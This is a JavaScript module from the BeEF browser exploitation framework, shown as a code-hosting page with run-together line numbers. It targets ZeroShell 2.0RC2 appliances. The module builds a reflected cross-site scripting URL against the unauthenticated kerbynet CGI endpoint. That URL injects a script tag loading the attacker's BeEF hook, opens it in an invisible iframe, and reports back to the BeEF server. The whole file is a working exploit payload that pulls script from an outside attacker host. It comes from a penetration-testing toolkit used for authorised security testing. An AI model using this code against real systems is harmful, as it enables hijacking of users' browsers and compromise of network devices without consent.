Path: blob/master/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var rhost = '<%= @rhost %>';8var rport = '<%= @rport %>';9var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook;1011var target = "http://" + rhost + ":" + rport +"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=x<script src='" + hook + "'></script>";1213beef.debug("[ZeroShell_2.0RC2_migrate_hook] Trying to retrieve migrate BeEF hook in ZeroShell context: " + target);14var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();15iframe_<%= @command_id %>.setAttribute('src', target);1617beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.are.status_unknown());18});192021